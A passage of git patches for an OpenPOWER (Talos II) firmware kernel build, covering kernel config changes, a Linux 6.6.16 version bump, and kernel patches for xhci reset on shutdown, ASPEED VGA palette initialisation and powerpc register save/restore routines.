CONFIG_DEBUG_PER_CPU_MAPS is not set CONFIG_HAVE_DEBUG_STACKOVERFLOW=y CONFIG_DEBUG_STACKOVERFLOW=y +CONFIG_HAVE_ARCH_KASAN=y +CONFIG_HAVE_ARCH_KASAN_VMALLOC=y +CONFIG_ARCH_DISABLE_KASAN_INLINE=y CONFIG_CC_HAS_KASAN_GENERIC=y -CONFIG_KASAN_STACK=1 +CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y +# CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3313,15 +3667,18 @@ CONFIG_PANIC_ON_OOPS_VALUE=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=y -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=1 +CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y CONFIG_HARDLOCKUP_DETECTOR=y +# CONFIG_HARDLOCKUP_DETECTOR_PERF is not set +# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set +CONFIG_HARDLOCKUP_DETECTOR_ARCH=y CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=1 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y +# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set +# CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs # @@ -3350,10 +3707,12 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set # CONFIG_LOCK_TORTURE_TEST is not set # CONFIG_WW_MUTEX_SELFTEST is not set +# CONFIG_SCF_TORTURE_TEST is not set +# CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) # CONFIG_DEBUG_IRQFLAGS is not set -# CONFIG_STACKTRACE is not set +CONFIG_STACKTRACE=y # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3364,29 +3723,27 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_PLIST is not set # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set -# CONFIG_BUG_ON_DATA_CORRUPTION is not set # CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures -# CONFIG_DEBUG_CREDENTIALS is not set - # # RCU Debugging # -# CONFIG_RCU_PERF_TEST is not set +# CONFIG_RCU_SCALE_TEST is not set # CONFIG_RCU_TORTURE_TEST is not set +# CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 +# CONFIG_RCU_CPU_STALL_CPUTIME is not set CONFIG_RCU_TRACE=y # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_LATENCYTOP is not set CONFIG_HAVE_FUNCTION_TRACER=y CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y -CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_C_RECORDMCOUNT=y @@ -3411,6 +3768,7 @@ CONFIG_JUMP_LABEL_FEATURE_CHECKS=y # CONFIG_FTR_FIXUP_SELFTEST is not set # CONFIG_MSI_BITMAP_SELFTEST is not set # CONFIG_PPC_IRQ_SOFT_MASK_DEBUG is not set +# CONFIG_PPC_RFI_SRR_DEBUG is not set CONFIG_XMON=y CONFIG_XMON_DEFAULT=y CONFIG_XMON_DISASSEMBLY=y @@ -3418,7 +3776,6 @@ CONFIG_XMON_DEFAULT_RO_MODE=y CONFIG_DEBUGGER=y # CONFIG_BOOTX_TEXT is not set # CONFIG_PPC_EARLY_DEBUG is not set -# CONFIG_PPC_PTDUMP is not set # CONFIG_PPC_FAST_ENDIAN_SWITCH is not set # end of powerpc Debugging @@ -3432,29 +3789,31 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set CONFIG_RUNTIME_TESTING_MENU=y +# CONFIG_TEST_DHRY is not set # CONFIG_LKDTM is not set -# CONFIG_TEST_LIST_SORT is not set -# CONFIG_TEST_SORT is not set +# CONFIG_TEST_MIN_HEAP is not set +# CONFIG_TEST_DIV64 is not set # CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_TEST_REF_TRACKER is not set # CONFIG_RBTREE_TEST is not set # CONFIG_REED_SOLOMON_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set +# CONFIG_STRING_SELFTEST is not set # CONFIG_TEST_STRING_HELPERS is not set -# CONFIG_TEST_STRSCPY is not set # CONFIG_TEST_KSTRTOX is not set # CONFIG_TEST_PRINTF is not set +# CONFIG_TEST_SCANF is not set # CONFIG_TEST_BITMAP is not set -# CONFIG_TEST_BITFIELD is not set # CONFIG_TEST_UUID is not set # CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_OVERFLOW is not set +# CONFIG_TEST_MAPLE_TREE is not set # CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_HASH is not set # CONFIG_TEST_IDA is not set # CONFIG_TEST_LKM is not set +# CONFIG_TEST_BITOPS is not set # CONFIG_TEST_VMALLOC is not set # CONFIG_TEST_USER_COPY is not set # CONFIG_TEST_BPF is not set @@ -3465,8 +3824,14 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set # CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_STACKINIT is not set # CONFIG_TEST_MEMINIT is not set +# CONFIG_TEST_FREE_PAGES is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/modules/linux b/modules/linux index 8f6ea3d77..416d2b8d0 100644 --- a/modules/linux +++ b/modules/linux @@ -19,10 +19,10 @@ linux_hash := 9c4ebf21fe949f80fbcfbbd6e7fe181040d325e89475e230ab53ef01f9d55605 else ifeq "$(CONFIG_LINUX_VERSION)" "5.4.69" linux_version := 5.4.69 linux_hash := a8b31d716b397303a183e42ad525ff2871024a43e3ea530d0fdf73b7f9d27da7 -else ifeq "$(CONFIG_LINUX_VERSION)" "5.5-openpower" -linux_version := 5.5 -linux_patch_version := 5.5-openpower -linux_hash := a6fbd4ee903c128367892c2393ee0d9657b6ed3ea90016d4dc6f1f6da20b2330 +else ifeq "$(CONFIG_LINUX_VERSION)" "6.6.16-openpower" +linux_version := 6.6.16 +linux_patch_version := 6.6.16-openpower +linux_hash := b21d5795a3bead4f112916423222faa8a0f519e4201df343e3eb88dc9e4aaa30 # # linuxboot systems should *NOT* use 5.10.5 until a proper review has # been done. This is because `0000-efi_bds.patch` did not cleanly port diff --git a/patches/linux-6.6.16-openpower/0001-xhci-Reset-controller-on-xhci-shutdown.patch b/patches/linux-6.6.16-openpower/0001-xhci-Reset-controller-on-xhci-shutdown.patch new file mode 100644 index 000000000..7f9c426ea --- /dev/null +++ b/patches/linux-6.6.16-openpower/0001-xhci-Reset-controller-on-xhci-shutdown.patch @@ -0,0 +1,29 @@ +From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 +From: Brian King +Date: Wed, 25 Oct 2017 10:42:59 +1100 +Subject: [PATCH 1/2] xhci: Reset controller on xhci shutdown + +Fixes kexec boot. Without a hard reset, some USB chips will fail to +initialize in a kexec booted kernel. + +Signed-off-by: Brian King +Signed-off-by: Samuel Mendoza-Jonas +Signed-off-by: Joel Stanley +--- + drivers/usb/host/xhci.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/usb/host/xhci.c b/drivers/usb/host/xhci.c +index 473b0b64dd57..ca0c642ce935 100644 +--- a/drivers/usb/host/xhci.c ++++ b/drivers/usb/host/xhci.c +@@ -812,6 +812,9 @@ void xhci_shutdown(struct usb_hcd *hcd) + xhci_dbg_trace(xhci, trace_xhci_dbg_init, + "xhci_shutdown completed - status = %x", + readl(&xhci->op_regs->status)); ++ ++ /* TI XHCI controllers do not come back after kexec without this hack */ ++ pci_reset_function_locked(to_pci_dev(hcd->self.sysdev)); + } + EXPORT_SYMBOL_GPL(xhci_shutdown); + diff --git a/patches/linux-6.6.16-openpower/0002-Release-OpenPower-kernel.patch b/patches/linux-6.6.16-openpower/0002-Release-OpenPower-kernel.patch new file mode 100644 index 000000000..f46c5c5ad --- /dev/null +++ b/patches/linux-6.6.16-openpower/0002-Release-OpenPower-kernel.patch @@ -0,0 +1,23 @@ +From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 +From: Joel Stanley +Date: Thu, 15 Jul 2021 17:21:55 +0930 +Subject: [PATCH 2/2] Release OpenPower kernel + +Signed-off-by: Joel Stanley +--- + Makefile | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/Makefile b/Makefile +index 92accf2ddc08..18dcc81a67e4 100644 +--- a/Makefile ++++ b/Makefile +@@ -2,7 +2,7 @@ + VERSION = 6 + PATCHLEVEL = 6 + SUBLEVEL = 16 +-EXTRAVERSION = ++EXTRAVERSION = -openpower1 + NAME = Hurr durr I'ma ninja sloth + + # *DOCUMENTATION* diff --git a/patches/linux-6.6.16-openpower/0003-drm-ast-Add-option-to-initialize-palette-on-driver-l.patch b/patches/linux-6.6.16-openpower/0003-drm-ast-Add-option-to-initialize-palette-on-driver-l.patch new file mode 100644 index 000000000..3e7f14d5a --- /dev/null +++ b/patches/linux-6.6.16-openpower/0003-drm-ast-Add-option-to-initialize-palette-on-driver-l.patch @@ -0,0 +1,138 @@ +From 39017ede41e6286e232c18cdf8b6b600dd751696 Mon Sep 17 00:00:00 2001 +From: Timothy Pearson +Date: Fri, 9 Feb 2024 16:22:29 -0600 +Subject: [PATCH] drm/ast: Add option to initialize palette on driver load + +Non-x86 systems, such as OpenPOWER and ARM machines, do not execute the ASPEED- +provided option ROM on system start. As a result, the VGA palette registers +remain uninitialized, leading to odd colors and generally hard to read output +on the VGA port. + +Add a new module option, ast_resetpalette, to enable loading a linear greyscale +palette into the VGA RAMDAC. This option is intended for use by the first Linux +kernel to load after initial power on, such as the skiroot kernel on OpenPOWER +systems. + +Signed-off-by: Timothy Pearson +--- + drivers/gpu/drm/ast/ast_drv.c | 4 ++++ + drivers/gpu/drm/ast/ast_drv.h | 14 ++++++++++++++ + drivers/gpu/drm/ast/ast_main.c | 8 ++++++++ + drivers/gpu/drm/ast/ast_mode.c | 14 -------------- + 4 files changed, 26 insertions(+), 14 deletions(-) + +diff --git a/drivers/gpu/drm/ast/ast_drv.c b/drivers/gpu/drm/ast/ast_drv.c +index e1224ef4ad83..d46dc88ccbe9 100644 +--- a/drivers/gpu/drm/ast/ast_drv.c ++++ b/drivers/gpu/drm/ast/ast_drv.c +@@ -1,5 +1,6 @@ + /* + * Copyright 2012 Red Hat Inc. ++ * Copyright 2024 Raptor Engineering, LLC. + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the +@@ -40,9 +41,12 @@ + #include "ast_drv.h" + + static int ast_modeset = -1; ++int ast_resetpalette = -1; + + MODULE_PARM_DESC(modeset, "Disable/Enable modesetting"); ++MODULE_PARM_DESC(resetpalette, "Disable/Enable palette reset on load"); + module_param_named(modeset, ast_modeset, int, 0400); ++module_param_named(resetpalette, ast_resetpalette, int, 0400); + + /* + * DRM driver +diff --git a/drivers/gpu/drm/ast/ast_drv.h b/drivers/gpu/drm/ast/ast_drv.h +index f7053f2972bb..61b6ae0dfbf3 100644 +--- a/drivers/gpu/drm/ast/ast_drv.h ++++ b/drivers/gpu/drm/ast/ast_drv.h +@@ -340,6 +340,20 @@ static inline void ast_set_index_reg_mask(struct ast_device *ast, u32 base, u8 i + ast_set_index_reg(ast, base, index, tmp); + } + ++static inline void ast_load_palette_index(struct ast_device *ast, ++ u8 index, u8 red, u8 green, ++ u8 blue) ++{ ++ ast_io_write8(ast, AST_IO_DAC_INDEX_WRITE, index); ++ ast_io_read8(ast, AST_IO_SEQ_PORT); ++ ast_io_write8(ast, AST_IO_DAC_DATA, red); ++ ast_io_read8(ast, AST_IO_SEQ_PORT); ++ ast_io_write8(ast, AST_IO_DAC_DATA, green); ++ ast_io_read8(ast, AST_IO_SEQ_PORT); ++ ast_io_write8(ast, AST_IO_DAC_DATA, blue); ++ ast_io_read8(ast, AST_IO_SEQ_PORT); ++} ++ + #define AST_VIDMEM_SIZE_8M 0x00800000 + #define AST_VIDMEM_SIZE_16M 0x01000000 + #define AST_VIDMEM_SIZE_32M 0x02000000 +diff --git a/drivers/gpu/drm/ast/ast_main.c b/drivers/gpu/drm/ast/ast_main.c +index dae365ed3969..ada259761b0e 100644 +--- a/drivers/gpu/drm/ast/ast_main.c ++++ b/drivers/gpu/drm/ast/ast_main.c +@@ -1,5 +1,6 @@ + /* + * Copyright 2012 Red Hat Inc. ++ * Copyright 2024 Raptor Engineering, LLC. + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the +@@ -35,6 +36,8 @@ + + #include "ast_drv.h" + ++extern int ast_resetpalette; ++ + static bool ast_is_vga_enabled(struct drm_device *dev) + { + struct ast_device *ast = to_ast_device(dev); +@@ -432,6 +435,7 @@ struct ast_device *ast_device_create(const struct drm_driver *drv, + struct ast_device *ast; + bool need_post = false; + int ret = 0; ++ int index = 0; + + ast = devm_drm_dev_alloc(&pdev->dev, drv, struct ast_device, base); + if (IS_ERR(ast)) +@@ -517,5 +521,9 @@ struct ast_device *ast_device_create(const struct drm_driver *drv, + if (ret) + return ERR_PTR(ret); + ++ if (ast_resetpalette == 1) ++ for (index = 0x00; index < 0x100; index++) ++ ast_load_palette_index(ast, index, index, index, index); ++ + return ast; + } +diff --git a/drivers/gpu/drm/ast/ast_mode.c b/drivers/gpu/drm/ast/ast_mode.c +index 3de0f457fff6..81bed5eeb87b 100644 +--- a/drivers/gpu/drm/ast/ast_mode.c ++++ b/drivers/gpu/drm/ast/ast_mode.c +@@ -51,20 +51,6 @@ + + #define AST_LUT_SIZE 256 + +-static inline void ast_load_palette_index(struct ast_device *ast, +- u8 index, u8 red, u8 green, +- u8 blue) +-{ +- ast_io_write8(ast, AST_IO_DAC_INDEX_WRITE, index); +- ast_io_read8(ast, AST_IO_SEQ_PORT); +- ast_io_write8(ast, AST_IO_DAC_DATA, red); +- ast_io_read8(ast, AST_IO_SEQ_PORT); +- ast_io_write8(ast, AST_IO_DAC_DATA, green); +- ast_io_read8(ast, AST_IO_SEQ_PORT); +- ast_io_write8(ast, AST_IO_DAC_DATA, blue); +- ast_io_read8(ast, AST_IO_SEQ_PORT); +-} +- + static void ast_crtc_set_gamma_linear(struct ast_device *ast, + const struct drm_format_info *format) + { +-- +2.39.2 + diff --git a/patches/linux-6.6.16-openpower/0004-Force-ASpeed-RAMDAC-palette-reset.patch b/patches/linux-6.6.16-openpower/0004-Force-ASpeed-RAMDAC-palette-reset.patch new file mode 100644 index 000000000..1b7961912 --- /dev/null +++ b/patches/linux-6.6.16-openpower/0004-Force-ASpeed-RAMDAC-palette-reset.patch @@ -0,0 +1,26 @@ +From 33cb4510b70e7625636a4280e29081ce7cef69e9 Mon Sep 17 00:00:00 2001 +From: Raptor Engineering Development Team +Date: Fri, 2 Feb 2018 07:37:41 -0600 +Subject: [PATCH] Force ASpeed RAMDAC palette reset + +--- + drivers/gpu/drm/ast/ast_drv.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/gpu/drm/ast/ast_drv.c b/drivers/gpu/drm/ast/ast_drv.c +index 8124eaa92ed3..c44797598760 100644 +--- a/drivers/gpu/drm/ast/ast_drv.c ++++ b/drivers/gpu/drm/ast/ast_drv.c +@@ -35,7 +35,7 @@ + #include "ast_drv.h" + + static int ast_modeset = -1; +-int ast_resetpalette = -1; ++int ast_resetpalette = 1; + + MODULE_PARM_DESC(modeset, "Disable/Enable modesetting"); + MODULE_PARM_DESC(resetpalette, "Disable/Enable palette reset on load"); +-- +2.15.1 + + diff --git a/patches/linux-6.6.16-openpower/0005-powerpc-Add-gpr1-and-fpu-save-restore-functions.patch b/patches/linux-6.6.16-openpower/0005-powerpc-Add-gpr1-and-fpu-save-restore-functions.patch new file mode 100644 index 000000000..c19ab1795 --- /dev/null +++ b/patches/linux-6.6.16-openpower/0005-powerpc-Add-gpr1-and-fpu-save-restore-functions.patch @@ -0,0 +1,329 @@ +From f14d20a4aed3b87277557d1ba9ad589dbbdc0900 Mon Sep 17 00:00:00 2001 +From: Timothy Pearson +Date: Mon, 12 Feb 2024 10:26:49 -0600 +Subject: [PATCH] powerpc: Add gpr1 and fpu save/restore functions + +When building the kernel in size optimized mode with the amdgpu module enabled, +gcc will begin referencing external gpr1 and fpu save/restore functions. This +will then cause a linker failure as we do not link against libgcc which +normally contains those builtin functions. + +Implement gpr1 and fpu save/restore functions per the ABI v2 documentation. + +Tested on a Talos II with a WX7100 installed and running in DisplayCore mode. + +Reported-by: kernel test robot +Tested-by: Timothy Pearson +Signed-off-by: Timothy Pearson +--- + arch/powerpc/kernel/prom_init_check.sh | 4 +- + arch/powerpc/lib/crtsavres.S | 244 +++++++++++++++++++++++++ + scripts/mod/modpost.c | 4 + + 3 files changed, 250 insertions(+), 2 deletions(-) + +diff --git a/arch/powerpc/kernel/prom_init_check.sh b/arch/powerpc/kernel/prom_init_check.sh +index 69623b9045d5..76c5651e29d3 100644 +--- a/arch/powerpc/kernel/prom_init_check.sh ++++ b/arch/powerpc/kernel/prom_init_check.sh +@@ -72,10 +72,10 @@ do + + # ignore register save/restore funcitons + case $UNDEF in +- _restgpr_*|_restgpr0_*|_rest32gpr_*) ++ _restgpr_*|_restgpr0_*|_restgpr1_*|_rest32gpr_*) + OK=1 + ;; +- _savegpr_*|_savegpr0_*|_save32gpr_*) ++ _savegpr_*|_savegpr0_*|_restgpr0_*|_save32gpr_*) + OK=1 + ;; + esac +diff --git a/arch/powerpc/lib/crtsavres.S b/arch/powerpc/lib/crtsavres.S +index 7e5e1c28e56a..6cd870aacd7f 100644 +--- a/arch/powerpc/lib/crtsavres.S ++++ b/arch/powerpc/lib/crtsavres.S +@@ -3,6 +3,7 @@ + * + * Copyright (C) 1995, 1996, 1998, 2000, 2001 Free Software Foundation, Inc. + * Copyright 2008 Freescale Semiconductor, Inc. ++ * Copyright 2024 Raptor Engineering, LLC + * Written By Michael Meissner + * + * Based on gcc/config/rs6000/crtsavres.asm from gcc +@@ -435,6 +436,127 @@ _restgpr0_31: + mtlr r0 + blr + ++.globl _savegpr1_14 ++_savegpr1_14: ++ std r14,-144(r12) ++.globl _savegpr1_15 ++_savegpr1_15: ++ std r15,-136(r12) ++.globl _savegpr1_16 ++_savegpr1_16: ++ std r16,-128(r12) ++.globl _savegpr1_17 ++_savegpr1_17: ++ std r17,-120(r12) ++.globl _savegpr1_18 ++_savegpr1_18: ++ std r18,-112(r12) ++.globl _savegpr1_19 ++_savegpr1_19: ++ std r19,-104(r12) ++.globl _savegpr1_20 ++_savegpr1_20: ++ std r20,-96(r12) ++.globl _savegpr1_21 ++_savegpr1_21: ++ std r21,-88(r12) ++.globl _savegpr1_22 ++_savegpr1_22: ++ std r22,-80(r12) ++.globl _savegpr1_23 ++_savegpr1_23: ++ std r23,-72(r12) ++.globl _savegpr1_24 ++_savegpr1_24: ++ std r24,-64(r12) ++.globl _savegpr1_25 ++_savegpr1_25: ++ std r25,-56(r12) ++.globl _savegpr1_26 ++_savegpr1_26: ++ std r26,-48(r12) ++.globl _savegpr1_27 ++_savegpr1_27: ++ std r27,-40(r12) ++.globl _savegpr1_28 ++_savegpr1_28: ++ std r28,-32(r12) ++.globl _savegpr1_29 ++_savegpr1_29: ++ std r29,-24(r12) ++.globl _savegpr1_30 ++_savegpr1_30: ++ std r30,-16(r12) ++.globl _savegpr1_31 ++_savegpr1_31: ++ std r31,-8(r12) ++ std r0,16(r12) ++ blr ++ ++.globl _restgpr1_14 ++_restgpr1_14: ++ ld r14,-144(r12) ++.globl _restgpr1_15 ++_restgpr1_15: ++ ld r15,-136(r12) ++.globl _restgpr1_16 ++_restgpr1_16: ++ ld r16,-128(r12) ++.globl _restgpr1_17 ++_restgpr1_17: ++ ld r17,-120(r12) ++.globl _restgpr1_18 ++_restgpr1_18: ++ ld r18,-112(r12) ++.globl _restgpr1_19 ++_restgpr1_19: ++ ld r19,-104(r12) ++.globl _restgpr1_20 ++_restgpr1_20: ++ ld r20,-96(r12) ++.globl _restgpr1_21 ++_restgpr1_21: ++ ld r21,-88(r12) ++.globl _restgpr1_22 ++_restgpr1_22: ++ ld r22,-80(r12) ++.globl _restgpr1_23 ++_restgpr1_23: ++ ld r23,-72(r12) ++.globl _restgpr1_24 ++_restgpr1_24: ++ ld r24,-64(r12) ++.globl _restgpr1_25 ++_restgpr1_25: ++ ld r25,-56(r12) ++.globl _restgpr1_26 ++_restgpr1_26: ++ ld r26,-48(r12) ++.globl _restgpr1_27 ++_restgpr1_27: ++ ld r27,-40(r12) ++.globl _restgpr1_28 ++_restgpr1_28: ++ ld r28,-32(r12) ++.globl _restgpr1_29 ++_restgpr1_29: ++ ld r0,16(r12) ++ ld r29,-24(r12) ++ mtlr r0 ++ ld r30,-16(r12) ++ ld r31,-8(r12) ++ blr ++ ++.globl _restgpr1_30 ++_restgpr1_30: ++ ld r30,-16(r12) ++.globl _restgpr1_31 ++_restgpr1_31: ++ ld r0,16(r12) ++ ld r31,-8(r12) ++ mtlr r0 ++ blr ++ + #ifdef CONFIG_ALTIVEC + /* Called with r0 pointing just beyond the end of the vector save area. */ + +@@ -540,6 +662,128 @@ _restvr_31: + + #endif /* CONFIG_ALTIVEC */ + ++#ifdef CONFIG_PPC_FPU ++ ++.globl _savefpr_14 ++_savefpr_14: ++ stfd f14,-144(r1) ++.globl _savefpr_15 ++_savefpr_15: ++ stfd f15,-136(r1) ++.globl _savefpr_16 ++_savefpr_16: ++ stfd f16,-128(r1) ++.globl _savefpr_17 ++_savefpr_17: ++ stfd f17,-120(r1) ++.globl _savefpr_18 ++_savefpr_18: ++ stfd f18,-112(r1) ++.globl _savefpr_19 ++_savefpr_19: ++ stfd f19,-104(r1) ++.globl _savefpr_20 ++_savefpr_20: ++ stfd f20,-96(r1) ++.globl _savefpr_21 ++_savefpr_21: ++ stfd f21,-88(r1) ++.globl _savefpr_22 ++_savefpr_22: ++ stfd f22,-80(r1) ++.globl _savefpr_23 ++_savefpr_23: ++ stfd f23,-72(r1) ++.globl _savefpr_24 ++_savefpr_24: ++ stfd f24,-64(r1) ++.globl _savefpr_25 ++_savefpr_25: ++ stfd f25,-56(r1) ++.globl _savefpr_26 ++_savefpr_26: ++ stfd f26,-48(r1) ++.globl _savefpr_27 ++_savefpr_27: ++ stfd f27,-40(r1) ++.globl _savefpr_28 ++_savefpr_28: ++ stfd f28,-32(r1) ++.globl _savefpr_29 ++_savefpr_29: ++ stfd f29,-24(r1) ++.globl _savefpr_30 ++_savefpr_30: ++ stfd f30,-16(r1) ++.globl _savefpr_31 ++_savefpr_31: ++ stfd f31,-8(r1) ++ std r0, 16(r1) ++ blr ++ ++.globl _restfpr_14 ++_restfpr_14: ++ lfd f14,-144(r1) ++.globl _restfpr_15 ++_restfpr_15: ++ lfd f15,-136(r1) ++.globl _restfpr_16 ++_restfpr_16: ++ lfd f16,-128(r1) ++.globl _restfpr_17 ++_restfpr_17: ++ lfd f17,-120(r1) ++.globl _restfpr_18 ++_restfpr_18: ++ lfd f18,-112(r1) ++.globl _restfpr_19 ++_restfpr_19: ++ lfd f19,-104(r1) ++.globl _restfpr_20 ++_restfpr_20: ++ lfd f20,-96(r1) ++.globl _restfpr_21 ++_restfpr_21: ++ lfd f21,-88(r1) ++.globl _restfpr_22 ++_restfpr_22: ++ lfd f22,-80(r1) ++.globl _restfpr_23 ++_restfpr_23: ++ lfd f23,-72(r1) ++.globl _restfpr_24 ++_restfpr_24: ++ lfd f24,-64(r1) ++.globl _restfpr_25 ++_restfpr_25: ++ lfd f25,-56(r1) ++.globl _restfpr_26 ++_restfpr_26: ++ lfd f26,-48(r1) ++.globl _restfpr_27 ++_restfpr_27: ++ lfd f27,-40(r1) ++.globl _restfpr_28 ++_restfpr_28: ++ lfd f28,-32(r1) ++.globl _restfpr_29 ++_restfpr_29: ++ ld r0, 16(r1) ++ lfd f29,-24(r1) ++ mtlr r0 ++ lfd f30,-16(r1) ++ lfd f31,-8(r1) ++ blr ++.globl _restfpr_30 ++_restfpr_30: ++ lfd f30,-16(r1) ++.globl _restfpr_31 ++_restfpr_31: ++ ld r0, 16(r1) ++ lfd f31,-8(r1) ++ ++#endif /* CONFIG_PPC_FPU */ ++ + #endif /* CONFIG_PPC64 */ + + #endif +diff --git a/scripts/mod/modpost.c b/scripts/mod/modpost.c +index 267b9a0a3abc..153a163ba3f7 100644 +--- a/scripts/mod/modpost.c ++++ b/scripts/mod/modpost.c +@@ -597,8 +597,12 @@ static int ignore_undef_symbol(struct elf_info *info, const char *symname) + /* Special register function linked on all modules during final link of .ko */ + if (strstarts(symname, "_restgpr0_") || + strstarts(symname, "_savegpr0_") || ++ strstarts(symname, "_restgpr1_") || ++ strstarts(symname, "_savegpr1_") || + strstarts(symname, "_restvr_") || + strstarts(symname, "_savevr_") || ++ strstarts(symname, "_restfpr_") || ++ strstarts(symname, "_savefpr_") || + strcmp(symname, ".TOC.") == 0) + return 1; + +-- +2.39.2 + From 3ed0f2df35300d79e6c8c28cc2d36f09d88f5642 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Oct 2024 18:41:21 -0400 Subject: [PATCH 352/619] talos-2 6.6.16 kernel config: deactivate CONFIG_COMPAT (32 bit support) Signed-off-by: Thierry Laurion --- config/linux-talos-2.config | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 350a95c66..87c544628 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -37,7 +37,6 @@ CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SYSVIPC=y CONFIG_SYSVIPC_SYSCTL=y -CONFIG_SYSVIPC_COMPAT=y CONFIG_POSIX_MQUEUE=y CONFIG_POSIX_MQUEUE_SYSCTL=y # CONFIG_WATCH_QUEUE is not set @@ -259,7 +258,6 @@ CONFIG_NR_CPUS=2048 CONFIG_PPC_DOORBELL=y # end of Processor support -CONFIG_VDSO32=y # CONFIG_CPU_BIG_ENDIAN is not set CONFIG_CPU_LITTLE_ENDIAN=y CONFIG_PPC64_ELF_ABI_V2=y @@ -282,7 +280,7 @@ CONFIG_PPC_BARRIER_NOSPEC=y CONFIG_PPC_HAS_LBARX_LHARX=y CONFIG_EARLY_PRINTK=y CONFIG_PANIC_TIMEOUT=180 -CONFIG_COMPAT=y +# CONFIG_COMPAT is not set CONFIG_SCHED_OMIT_FRAME_POINTER=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_PPC_UDBG_16550=y @@ -383,6 +381,7 @@ CONFIG_SCHED_HRTICK=y # CONFIG_PPC_TRANSACTIONAL_MEM is not set # CONFIG_LD_HEAD_STUB_CATCH is not set # CONFIG_HOTPLUG_CPU is not set +CONFIG_INTERRUPT_SANITIZE_REGISTERS=y CONFIG_PPC_QUEUED_SPINLOCKS=y CONFIG_PPC64_SUPPORTS_MEMORY_FAILURE=y CONFIG_ARCH_SUPPORTS_KEXEC=y @@ -480,8 +479,6 @@ CONFIG_MMU_LAZY_TLB_SHOOTDOWN=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_ARCH_WEAK_RELEASE_ACQUIRE=y CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y -CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y -CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y CONFIG_HAVE_ARCH_SECCOMP=y CONFIG_HAVE_ARCH_SECCOMP_FILTER=y # CONFIG_SECCOMP is not set @@ -509,15 +506,12 @@ CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_ARCH_MMAP_RND_BITS=14 -CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y -CONFIG_ARCH_MMAP_RND_COMPAT_BITS=7 CONFIG_PAGE_SIZE_LESS_THAN_256KB=y CONFIG_ARCH_WANT_DEFAULT_TOPDOWN_MMAP_LAYOUT=y CONFIG_HAVE_RELIABLE_STACKTRACE=y CONFIG_HAVE_ARCH_NVRAM_OPS=y CONFIG_CLONE_BACKWARDS=y CONFIG_OLD_SIGSUSPEND=y 